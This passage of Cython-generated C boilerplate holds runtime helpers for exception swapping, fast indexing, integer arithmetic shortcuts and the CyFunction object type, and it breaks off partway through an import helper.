*tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = *type; tstate->exc_value = *value; tstate->exc_traceback = *tb; *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); PyErr_SetExcInfo(*type, *value, *tb); *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #endif /* GetItemInt */ static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { PyObject *r; if (!j) return NULL; r = PyObject_GetItem(o, j); Py_DECREF(j); return r; } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyList_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyList_GET_SIZE(o)))) { PyObject *r = PyList_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); if ((!boundscheck) || (likely((n >= 0) & (n < PyList_GET_SIZE(o))))) { PyObject *r = PyList_GET_ITEM(o, n); Py_INCREF(r); return r; } } else if (PyTuple_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((n >= 0) & (n < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, n); Py_INCREF(r); return r; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return NULL; PyErr_Clear(); } } return m->sq_item(o, i); } } #else if (is_list || PySequence_Check(o)) { return PySequence_GetItem(o, i); } #endif return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); } /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a + b); if (likely((x^a) >= 0 || (x^b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_add(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_add(op1, op2); } } x = a + b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla + llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("add", return NULL) result = ((double)a) + (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); } #endif /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, {(char *) "__self__", (getter)__Pyx_CyFunction_get_self, 0, 0, 0}, {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, {0, 0, 0, 0, 0} }; static PyMemberDef __pyx_CyFunction_members[] = { {(char *) "__module__", T_OBJECT, offsetof(__pyx_CyFunctionObject, func.m_module), PY_WRITE_RESTRICTED, 0}, {0, 0, 0, 0, 0} }; static PyObject * __Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, CYTHON_UNUSED PyObject *args) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromString(m->func.m_ml->ml_name); #else return PyString_FromString(m->func.m_ml->ml_name); #endif } static PyMethodDef __pyx_CyFunction_methods[] = { {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, {0, 0, 0, 0} }; #if PY_VERSION_HEX < 0x030500A0 #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) #else #define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func.m_weakreflist) #endif static PyObject *__Pyx_CyFunction_New(PyTypeObject *type, PyMethodDef *ml, int flags, PyObject* qualname, PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { __pyx_CyFunctionObject *op = PyObject_GC_New(__pyx_CyFunctionObject, type); if (op == NULL) return NULL; op->flags = flags; __Pyx_CyFunction_weakreflist(op) = NULL; op->func.m_ml = ml; op->func.m_self = (PyObject *) op; Py_XINCREF(closure); op->func_closure = closure; Py_XINCREF(module); op->func.m_module = module; op->func_dict = NULL; op->func_name = NULL; Py_INCREF(qualname); op->func_qualname = qualname; op->func_doc = NULL; op->func_classobj = NULL; op->func_globals = globals; Py_INCREF(op->func_globals); Py_XINCREF(code); op->func_code = code; op->defaults_pyobjects = 0; op->defaults = NULL; op->defaults_tuple = NULL; op->defaults_kwdict = NULL; op->defaults_getter = NULL; op->func_annotations = NULL; PyObject_GC_Track(op); return (PyObject *) op; } static int __Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) { Py_CLEAR(m->func_closure); Py_CLEAR(m->func.m_module); Py_CLEAR(m->func_dict); Py_CLEAR(m->func_name); Py_CLEAR(m->func_qualname); Py_CLEAR(m->func_doc); Py_CLEAR(m->func_globals); Py_CLEAR(m->func_code); Py_CLEAR(m->func_classobj); Py_CLEAR(m->defaults_tuple); Py_CLEAR(m->defaults_kwdict); Py_CLEAR(m->func_annotations); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_XDECREF(pydefaults[i]); PyObject_Free(m->defaults); m->defaults = NULL; } return 0; } static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) { PyObject_GC_UnTrack(m); if (__Pyx_CyFunction_weakreflist(m) != NULL) PyObject_ClearWeakRefs((PyObject *) m); __Pyx_CyFunction_clear(m); PyObject_GC_Del(m); } static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) { Py_VISIT(m->func_closure); Py_VISIT(m->func.m_module); Py_VISIT(m->func_dict); Py_VISIT(m->func_name); Py_VISIT(m->func_qualname); Py_VISIT(m->func_doc); Py_VISIT(m->func_globals); Py_VISIT(m->func_code); Py_VISIT(m->func_classobj); Py_VISIT(m->defaults_tuple); Py_VISIT(m->defaults_kwdict); if (m->defaults) { PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); int i; for (i = 0; i < m->defaults_pyobjects; i++) Py_VISIT(pydefaults[i]); } return 0; } static PyObject *__Pyx_CyFunction_descr_get(PyObject *func, PyObject *obj, PyObject *type) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; if (m->flags & __Pyx_CYFUNCTION_STATICMETHOD) { Py_INCREF(func); return func; } if (m->flags & __Pyx_CYFUNCTION_CLASSMETHOD) { if (type == NULL) type = (PyObject *)(Py_TYPE(obj)); return __Pyx_PyMethod_New(func, type, (PyObject *)(Py_TYPE(type))); } if (obj == Py_None) obj = NULL; return __Pyx_PyMethod_New(func, obj, type); } static PyObject* __Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) { #if PY_MAJOR_VERSION >= 3 return PyUnicode_FromFormat("<cyfunction %U at %p>", op->func_qualname, (void *)op); #else return PyString_FromFormat("<cyfunction %s at %p>", PyString_AsString(op->func_qualname), (void *)op); #endif } static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { PyCFunctionObject* f = (PyCFunctionObject*)func; PyCFunction meth = f->m_ml->ml_meth; Py_ssize_t size; switch (f->m_ml->ml_flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { case METH_VARARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) return (*meth)(self, arg); break; case METH_VARARGS | METH_KEYWORDS: return (*(PyCFunctionWithKeywords)meth)(self, arg, kw); case METH_NOARGS: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 0)) return (*meth)(self, NULL); PyErr_Format(PyExc_TypeError, "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; case METH_O: if (likely(kw == NULL || PyDict_Size(kw) == 0)) { size = PyTuple_GET_SIZE(arg); if (likely(size == 1)) { PyObject *result, *arg0 = PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; result = (*meth)(self, arg0); Py_DECREF(arg0); return result; } PyErr_Format(PyExc_TypeError, "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", f->m_ml->ml_name, size); return NULL; } break; default: PyErr_SetString(PyExc_SystemError, "Bad call flags in " "__Pyx_CyFunction_Call. METH_OLDARGS is no " "longer supported!"); return NULL; } PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", f->m_ml->ml_name); return NULL; } static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { return __Pyx_CyFunction_CallMethod(func, ((PyCFunctionObject*)func)->m_self, arg, kw); } static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { PyObject *result; __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { Py_ssize_t argc; PyObject *new_args; PyObject *self; argc = PyTuple_GET_SIZE(args); new_args = PyTuple_GetSlice(args, 1, argc); if (unlikely(!new_args)) return NULL; self = PyTuple_GetItem(args, 0); if (unlikely(!self)) { Py_DECREF(new_args); return NULL; } result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); Py_DECREF(new_args); } else { result = __Pyx_CyFunction_Call(func, args, kw); } return result; } static PyTypeObject __pyx_CyFunctionType_type = { PyVarObject_HEAD_INIT(0, 0) "cython_function_or_method", sizeof(__pyx_CyFunctionObject), 0, (destructor) __Pyx_CyFunction_dealloc, 0, 0, 0, #if PY_MAJOR_VERSION < 3 0, #else 0, #endif (reprfunc) __Pyx_CyFunction_repr, 0, 0, 0, 0, __Pyx_CyFunction_CallAsMethod, 0, 0, 0, 0, Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, 0, (traverseproc) __Pyx_CyFunction_traverse, (inquiry) __Pyx_CyFunction_clear, 0, #if PY_VERSION_HEX < 0x030500A0 offsetof(__pyx_CyFunctionObject, func_weakreflist), #else offsetof(PyCFunctionObject, m_weakreflist), #endif 0, 0, __pyx_CyFunction_methods, __pyx_CyFunction_members, __pyx_CyFunction_getsets, 0, 0, __Pyx_CyFunction_descr_get, 0, offsetof(__pyx_CyFunctionObject, func_dict), 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, #if PY_VERSION_HEX >= 0x030400a1 0, #endif }; static int __pyx_CyFunction_init(void) { __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); if (__pyx_CyFunctionType == NULL) { return -1; } return 0; } static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults = PyObject_Malloc(size); if (!m->defaults) return PyErr_NoMemory(); memset(m->defaults, 0, size); m->defaults_pyobjects = pyobjects; return m->defaults; } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_tuple = tuple; Py_INCREF(tuple); } static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->defaults_kwdict = dict; Py_INCREF(dict); } static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; m->func_annotations = dict; Py_INCREF(dict); } /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_EqObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { if (op1 == op2) { Py_RETURN_TRUE; } #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long a = PyInt_AS_LONG(op1); if (a == b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a; const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } #if PyLong_SHIFT < 30 && PyLong_SHIFT != 15 default: return PyLong_Type.tp_richcompare(op1, op2, Py_EQ); #else default: Py_RETURN_FALSE; #endif } } if (a == b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); if ((double)a == (double)b) { Py_RETURN_TRUE; } else { Py_RETURN_FALSE; } } return PyObject_RichCompare(op1, op2, Py_EQ); } #endif /* Import */ static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { PyObject *empty_list = 0; PyObject *module = 0; PyObject *global_dict = 0; PyObject *empty_dict = 0; PyObject *list; #if PY_VERSION_HEX < 0x03030000 PyObject *py_import; py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); if (!py_import) goto bad; #endif if (from_list) list = from_list; else { empty_list = PyList_New(0); if (!empty_list) goto bad; list = empty_list; } global_dict = PyModule_GetDict(__pyx_m); if (!global_dict) goto bad; empty_dict = PyDict_New(); if (!empty_dict) goto bad; { #if PY_MAJOR_VERSION >= 3 if (level == -1) { if 